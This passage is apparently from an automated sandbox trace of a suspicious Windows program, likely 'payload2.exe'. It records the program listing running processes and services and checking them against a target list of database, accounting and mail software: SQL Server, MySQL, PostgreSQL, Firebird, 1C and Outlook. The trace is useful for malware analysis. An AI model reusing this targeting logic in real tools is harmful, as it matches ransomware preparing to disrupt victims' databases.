th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.213] lstrlenW (lpString="lsm.exe") returned 7 [0271.213] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0271.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0271.213] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0271.213] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0271.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0271.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0271.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0271.213] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.214] lstrlenW (lpString="svchost.exe") returned 11 [0271.214] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0271.214] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.214] lstrlenW (lpString="svchost.exe") returned 11 [0271.214] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0271.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0271.214] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.214] lstrlenW (lpString="svchost.exe") returned 11 [0271.215] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0271.215] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.215] lstrlenW (lpString="svchost.exe") returned 11 [0271.215] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0271.215] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0271.215] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.216] lstrlenW (lpString="svchost.exe") returned 11 [0271.216] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0271.216] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0271.216] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0271.216] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.216] lstrlenW (lpString="audiodg.exe") returned 11 [0271.216] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.216] lstrlenW (lpString="svchost.exe") returned 11 [0271.216] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.217] lstrlenW (lpString="svchost.exe") returned 11 [0271.217] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0271.217] lstrlenW (lpString="userinit.exe") returned 12 [0271.217] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.217] lstrlenW (lpString="dwm.exe") returned 7 [0271.217] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.218] lstrlenW (lpString="explorer.exe") returned 12 [0271.218] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.218] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.218] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.218] lstrlenW (lpString="taskhost.exe") returned 12 [0271.218] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.218] lstrlenW (lpString="svchost.exe") returned 11 [0271.218] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0271.219] lstrlenW (lpString="payload2.exe") returned 12 [0271.219] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.219] lstrlenW (lpString="reader_sl.exe") returned 13 [0271.219] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.220] lstrlenW (lpString="dllhost.exe") returned 11 [0271.220] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0271.220] CloseHandle (hObject=0x390) returned 1 [0271.220] Sleep (dwMilliseconds=0x1f4) [0272.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280ac8 [0272.203] EnumServicesStatusExW (in: hSCManager=0x4280ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0272.203] GetLastError () returned 0xea [0272.203] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x4236140 [0272.203] EnumServicesStatusExW (in: hSCManager=0x4280ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4236140, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4236140, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0272.204] CloseServiceHandle (hSCObject=0x4280ac8) returned 1 [0272.204] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.204] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.204] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.204] lstrlenW (lpString="AudioSrv") returned 8 [0272.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0272.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0272.204] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0272.204] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0272.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0272.204] lstrlenW (lpString="BFE") returned 3 [0272.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.204] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.204] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.204] lstrlenW (lpString="CryptSvc") returned 8 [0272.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.205] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.205] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.205] lstrlenW (lpString="CscService") returned 10 [0272.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0272.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0272.205] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0272.205] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0272.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0272.205] lstrlenW (lpString="DcomLaunch") returned 10 [0272.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.205] lstrlenW (lpString="Dhcp") returned 4 [0272.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.205] lstrlenW (lpString="Dnscache") returned 8 [0272.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.205] lstrlenW (lpString="DPS") returned 3 [0272.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.206] lstrlenW (lpString="eventlog") returned 8 [0272.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0272.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0272.206] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0272.206] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0272.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0272.206] lstrlenW (lpString="EventSystem") returned 11 [0272.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.206] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.206] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.206] lstrlenW (lpString="gpsvc") returned 5 [0272.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.206] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.206] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.206] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.206] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.206] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.206] lstrlenW (lpString="lmhosts") returned 7 [0272.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.206] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.206] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.206] lstrlenW (lpString="MMCSS") returned 5 [0272.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0272.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0272.207] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0272.207] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0272.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0272.207] lstrlenW (lpString="MpsSvc") returned 6 [0272.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.207] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.207] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.207] lstrlenW (lpString="NlaSvc") returned 6 [0272.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.207] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.207] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.207] lstrlenW (lpString="nsi") returned 3 [0272.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.207] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.207] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.207] lstrlenW (lpString="PcaSvc") returned 6 [0272.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.207] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.207] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.207] lstrlenW (lpString="PlugPlay") returned 8 [0272.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.207] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.207] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.208] lstrlenW (lpString="Power") returned 5 [0272.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.208] lstrlenW (lpString="ProfSvc") returned 7 [0272.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.208] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.208] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.208] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.208] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.208] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.208] lstrlenW (lpString="RpcSs") returned 5 [0272.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.208] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.208] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.208] lstrlenW (lpString="SamSs") returned 5 [0272.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.208] lstrlenW (lpString="Schedule") returned 8 [0272.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.209] lstrlenW (lpString="SENS") returned 4 [0272.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.209] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.209] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.209] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.209] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.209] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.209] lstrlenW (lpString="Spooler") returned 7 [0272.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.209] lstrlenW (lpString="Themes") returned 6 [0272.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0272.209] lstrlenW (lpString="UxSms") returned 5 [0272.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0272.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0272.210] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0272.210] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0272.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0272.210] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x4236140 | out: hHeap=0x2a0000) returned 1 [0272.210] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0272.211] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.212] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.212] lstrlenW (lpString="System") returned 6 [0272.212] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0272.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0272.212] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0272.212] lstrcmpiW 